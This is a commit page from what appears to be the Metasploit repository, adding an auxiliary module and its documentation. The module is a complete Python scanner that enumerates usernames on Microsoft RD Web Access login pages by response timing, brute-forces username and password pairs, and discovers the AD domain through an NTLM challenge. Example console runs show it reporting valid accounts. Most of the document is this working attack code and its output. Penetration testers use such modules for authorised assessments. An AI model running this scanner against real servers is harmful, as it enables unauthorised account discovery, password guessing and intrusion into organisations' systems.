Land #14544, RDP Web Login User Enumeration Auxiliary Module

Merge branch 'land-14544' into upstream-master
This commit is contained in:
bwatters
2021-02-24 16:10:41 -06:00
5 changed files with 307 additions and 2 deletions
@@ -0,0 +1,94 @@
## Vulnerable Application
The Microsoft RD Web login is vulnerable to the same type of authentication username enumeration vulnerability
that is present for OWA. By analyzing the time it takes for a failed response, the RDWeb interface can be used
to quickly test the validity of a set of usernames. The module additionally supports testing username password
combinations. Additionally, this module can attempt to discover the target NTLM domain if you don't already know it.
This module also reports credentials to the credentials database when they are discovered.
## Verification Steps
- [ ] Start `msfconsole`
- [ ] `use auxiliary/scanner/http/rdp_web_login`
- [ ] `set rhost TARGET_IP`
- [ ] `set username USER_OR_FILE`
- [ ] `set password PASSWORD_OR_FILE` (Only if you want to test the password brute forcing)
- [ ] `set domain DOMAIN` (Only if you don't want to test the domain discovery feature)
- [ ] Check output for validity of your test username(s), password(s), and domain
## Options
### domain
The target domain to use for the username checks. If not provided, enum_domain needs to be set to true so it can be discovered.
### enum_domain
Enumerate the domain by using an NTLM challenge/response and parsing the AD Domain out.
### username
Either a specific username to verify or a file with one username per line to verify.
### password
Either a specific password to attempt or a file with one password per line to verify.
If not provided, uses the same None password for all requests
### verify_service
Whether or not to verify that RDWeb is installed prior to scanning. Defaults to true.
### user_agent
An alternate User Agent string to use in HTTP requests. Defaults to Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0.
## Scenarios
If an RDWeb login page is discovered, you can use this module to gather valid usernames for a brute force attack.
Specific target output replaced with Ys so as not to disclose information
```msf6 > use auxiliary/scanner/http/rdp_web_login
msf6 auxiliary(scanner/http/rdp_web_login) > set username /home/kali/users.txt
username => /home/kali/users.txt
msf6 auxiliary(scanner/http/rdp_web_login) > set RHOSTS YY.YYY.YYY.YY
RHOSTS => YY.YYY.YYY.YY
msf6 auxiliary(scanner/http/rdp_web_login) > run
[*] Running for YY.YYY.YYY.YY...
[+] Found Domain: YYYYYYYYYYYY
[-] Username YYYYYYYYYYYY\wrong is invalid! No response received in 1250 milliseconds
[+] Username YYYYYYYYYYYY\YYYYY is valid! Response received in 628.877 milliseconds
[-] Username YYYYYYYYYYYY\k0pak4 is invalid! No response received in 1250 milliseconds
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed```
If an RDWeb login page is discovered, you can use this module to perform a brute force attack.
```msf6 > use auxiliary/scanner/http/rdp_web_login
msf6 auxiliary(scanner/http/rdp_web_login) > set RHOSTS 192.168.148.128
RHOSTS => 192.168.148.128
msf6 auxiliary(scanner/http/rdp_web_login) > set username /home/kali/users.txt
username => /home/kali/users.txt
msf6 auxiliary(scanner/http/rdp_web_login) > set password /home/kali/passwords.txt
password => /home/kali/passwords.txt
msf6 auxiliary(scanner/http/rdp_web_login) > set timeout 500
timeout => 500
msf6 auxiliary(scanner/http/rdp_web_login) > run
[*] Running for YY.YYY.YYY.YY...
[+] Found Domain: YYYY
[-] Login YYYY\wrong:password is invalid! No response received in 500 milliseconds
[-] Login YYYY\wrong:Password1! is invalid! No response received in 500 milliseconds
[+] Password password is invalid but YYYY\k0pak4 is valid! Response received in 155.648 milliseconds
[+] Login YYYY\k0pak4:Password1! is valid!
[+] Password password is invalid but YYYY\Administrator is valid! Response received in 77.852 milliseconds
[+] Password Password1! is invalid but YYYY\Administrator is valid! Response received in 76.029 milliseconds
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed```
## Version and OS
Tested against Microsoft IIS 10.0 and RDWeb on Windows Server 2019 and Windows Server 2016
## References
- https://raxis.com/blog/rd-web-access-vulnerability
+1 -1
View File
@@ -36,7 +36,7 @@ module Metasploit
# @!attribute realm
# @return [String,nil] The realm credential component (e.g domain name)
attr_accessor :realm
# @!attribute realm
# @!attribute realm_key
# @return [String,nil] The type of {#realm}
attr_accessor :realm_key
+11 -1
View File
@@ -104,6 +104,12 @@ module Msf::Module::External
cred[:private_type] = :password
# Optional
if data.has_key?('domain')
cred[:service_data][:realm_value] = data['domain']
cred[:service_data][:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
end
store_valid_credential(**cred)
when 'wrong_password'
# Required
@@ -140,7 +146,6 @@ def handle_credential_login(data, mod)
module_fullname: self.fullname,
workspace_id: myworkspace_id
}
# Optional
credential_data = {
origin_type: :service,
@@ -152,6 +157,11 @@ def handle_credential_login(data, mod)
credential_data[:private_type] = :password
end
if data.has_key?('domain')
credential_data[:realm_value] = data['domain']
credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
end
login_data = {
core: create_credential(credential_data),
last_attempted_at: DateTime.now,
@@ -69,6 +69,12 @@ def report_vuln(ip, name, **opts):
report('vuln', vuln)
def report_valid_username(username, **opts):
info = opts.copy()
info.update({'username': username})
report('credential_login', info)
def report_correct_password(username, password, **opts):
info = opts.copy()
info.update({'username': username, 'password': password})
+195
View File
@@ -0,0 +1,195 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# standard modules
from metasploit import module
# extra modules
DEPENDENCIES_MISSING = False
try:
import base64
import itertools
import os
import requests
except ImportError:
DEPENDENCIES_MISSING = True
# Metasploit Metadata
metadata = {
'name': 'Microsoft RDP Web Client Login Enumeration',
'description': '''
Enumerate valid usernames and passwords against a Microsoft RDP Web Client
by attempting authentication and performing a timing based check
against the provided username.
''',
'authors': [
'Matthew Dunn'
],
'date': '2020-12-23',
'license': 'MSF_LICENSE',
'references': [
{'type': 'url', 'ref': 'https://raxis.com/blog/rd-web-access-vulnerability'},
],
'type': 'single_scanner',
'options': {
'targeturi': {'type': 'string',
'description': 'The base path to the RDP Web Client install',
'required': True, 'default': '/RDWeb/Pages/en-US/login.aspx'},
'rport': {'type': 'port', 'description': 'Port to target',
'required': True, 'default': 443},
'domain': {'type': 'string', 'description': 'The target AD domain',
'required': False, 'default': None},
'username': {'type': 'string',
'description': 'The username to verify or path to a file of usernames',
'required': True, 'default': None},
'password': {'type': 'string',
'description': 'The password to try or path to a file of passwords',
'required': False, 'default': None},
'timeout': {'type': 'int',
'description': 'Response timeout in milliseconds to consider username invalid',
'required': True, 'default': 1250},
'enum_domain': {'type': 'bool',
'description': 'Automatically enumerate AD domain using NTLM',
'required': False, 'default': True},
'verify_service': {'type': 'bool',
'description': 'Verify the service is up before performing login scan',
'required': False, 'default': True},
'user_agent': {'type': 'string',
'description': 'User Agent string to use, defaults to Firefox',
'required': False,
'default': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'}
}
}
def verify_service(rhost, rport, targeturi, timeout, user_agent):
"""Verify the service is up at the target URI within the specified timeout"""
url = f'https://{rhost}:{rport}/{targeturi}'
headers = {'Host':rhost,
'User-Agent': user_agent}
try:
request = requests.get(url, headers=headers, timeout=(timeout / 1000),
verify=False, allow_redirects=False)
return request.status_code == 200 and 'RDWeb' in request.text
except requests.exceptions.Timeout:
return False
except Exception as exc:
module.log(str(exc), level='error')
return False
def get_ad_domain(rhost, rport, user_agent):
"""Retrieve the NTLM domain out of a specific challenge/response"""
domain_urls = ['aspnet_client', 'Autodiscover', 'ecp', 'EWS', 'OAB',
'Microsoft-Server-ActiveSync', 'PowerShell', 'rpc']
headers = {'Authorization': 'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==',
'User-Agent': user_agent,
'Host': rhost}
session = requests.Session()
for url in domain_urls:
target_url = f"https://{rhost}:{rport}/{url}"
request = session.get(target_url, headers=headers, verify=False)
# Decode the provided NTLM Response to strip out the domain name
if request.status_code == 401 and 'WWW-Authenticate' in request.headers and \
'NTLM' in request.headers['WWW-Authenticate']:
domain_hash = request.headers['WWW-Authenticate'].split('NTLM ')[1].split(',')[0]
domain = base64.b64decode(bytes(domain_hash,
'utf-8')).replace(b'\x00',b'').split(b'\n')[1]
domain = domain[domain.index(b'\x0f') + 1:domain.index(b'\x02')].decode('utf-8')
module.log(f'Found Domain: {domain}', level='good')
return domain
module.log('Failed to find Domain', level='error')
return None
def check_login(rhost, rport, targeturi, domain, username, password, timeout, user_agent):
"""Check a single login against the RDWeb Client
The timeout is used to specify the amount of milliseconds where a
response should consider the username invalid."""
url = f'https://{rhost}:{rport}/{targeturi}'
body = f'DomainUserName={domain}%5C{username}&UserPass={password}'
headers = {'Host':rhost,
'User-Agent': user_agent,
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': f'{len(body)}',
'Origin': f'https://{rhost}'}
session = requests.Session()
report_data = {'domain':domain, 'address': rhost, 'port': rport,
'protocol': 'tcp', 'service_name':'RDWeb'}
try:
request = session.post(url, data=body, headers=headers,
timeout=(timeout / 1000), verify=False, allow_redirects=False)
if request.status_code == 302:
module.log(f'Login {domain}\\{username}:{password} is valid!', level='good')
module.report_correct_password(username, password, **report_data)
elif request.status_code == 200:
module.log(f'Password {password} is invalid but {domain}\\{username} is valid! Response received in {request.elapsed.microseconds / 1000} milliseconds',
level='good')
module.report_valid_username(username, **report_data)
else:
module.log(f'Received unknown response with status code: {request.status_code}')
except requests.exceptions.Timeout:
module.log(f'Login {domain}\\{username}:{password} is invalid! No response received in {timeout} milliseconds',
level='error')
except requests.exceptions.RequestException as exc:
module.log('{}'.format(exc), level='error')
return
def check_logins(rhost, rport, targeturi, domain, usernames, passwords, timeout, user_agent):
"""Check each username and password combination"""
for (username, password) in list(itertools.product(usernames, passwords)):
check_login(rhost, rport, targeturi, domain,
username.strip(), password.strip(), timeout, user_agent)
def run(args):
"""Run the module, gathering the domain if desired and verifying usernames and passwords"""
module.LogHandler.setup(msg_prefix='{} - '.format(args['RHOSTS']))
if DEPENDENCIES_MISSING:
module.log('Module dependencies are missing, cannot continue', level='error')
return
user_agent = args['user_agent']
# Verify the service is up if requested
if args['verify_service']:
service_verified = verify_service(args['RHOSTS'], args['rport'],
args['targeturi'], int(args['timeout']), user_agent)
if service_verified:
module.log('Service is up, beginning scan...', level='good')
else:
module.log(f'Service appears to be down, no response in {args["timeout"]} milliseconds',
level='error')
return
# Gather AD Domain either from args or enumeration
domain = args['domain'] if 'domain' in args else None
if not domain and args['enum_domain']:
domain = get_ad_domain(args['RHOSTS'], args['rport'], user_agent)
# Verify we have a proper domain
if not domain:
module.log('Either domain or enum_domain must be set to continue, aborting...',
level='error')
return
# Gather usernames and passwords for enumeration
if os.path.isfile(args['username']):
with open(args['username'], 'r') as file_contents:
usernames = file_contents.readlines()
else:
usernames = [args['username']]
if 'password' in args and os.path.isfile(args['password']):
with open(args['password'], 'r') as file_contents:
passwords = file_contents.readlines()
elif 'password' in args and args['password']:
passwords = [args['password']]
else:
passwords = ['wrong']
# Check each valid login combination
check_logins(args['RHOSTS'], args['rport'], args['targeturi'],
domain, usernames, passwords, int(args['timeout']), user_agent)
if __name__ == '__main__':
module.run(metadata, run)